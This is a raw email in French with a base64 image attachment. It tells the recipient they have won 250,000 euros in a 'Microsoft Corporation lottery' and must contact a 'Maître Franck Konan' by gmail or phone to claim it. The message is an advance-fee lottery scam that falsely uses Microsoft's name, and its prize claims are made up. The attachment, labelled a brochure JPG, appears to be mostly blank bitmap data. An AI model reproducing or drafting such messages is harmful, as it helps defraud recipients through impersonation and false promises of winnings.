Content-Type: multipart/alternative; boundary="----=_Part_139517_687007089.1386256706864" ------=_Part_139517_687007089.1386256706864 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit ------=_Part_139517_687007089.1386256706864 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable  

=C3=98       >  > ----- Original Message ----- > ----- Original Message ----- >

=C3=98 &= nbsp;    

 

 

A votre attention Monsi= eur/Madame

=
Nous vous contact= ons par cette pr=C3=A9sente lettre pour vous informer que vous =C3=AAtes b=C3=A9n= =C3=A9ficiaire de la somme de 250.000 EUROS =C3=A0 la LOTERIE MICROSOFT CORPORATION. Ceci n'=C3=A9tant donc pas un spam n= i un virus, veuillez trouver en fichier joint votre notification de gain. Pour l= a r=C3=A9clamation de votre gain veuillez entrer en contact direct avec Ma=C3= =AEtre FRANCK KONAN:

 

maitre.franck.konan@gmail.com  OU  maitre.franck.konan@gmail.com

 Tel:   (0022) 6= 7 21 36 63

Responsable de la Campagne

MICROSOFT WINDOWS.

 

 

------=_Part_139517_687007089.1386256706864-- ------=_Part_139516_1967875448.1386256706864 Content-Type: image/jpeg Content-Transfer-Encoding: base64 Content-Disposition: attachment; size=837548; size=837548; filename="33-brochure-homelifts-b2c_LR(1)(1)-1.JPG" Qk3WVgkAAAAAADYAAAAoAAAANgIAAGgBAAABABgAAAAAAAAAAADEDgAAxA4AAAAAAAAAAAAA//// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// 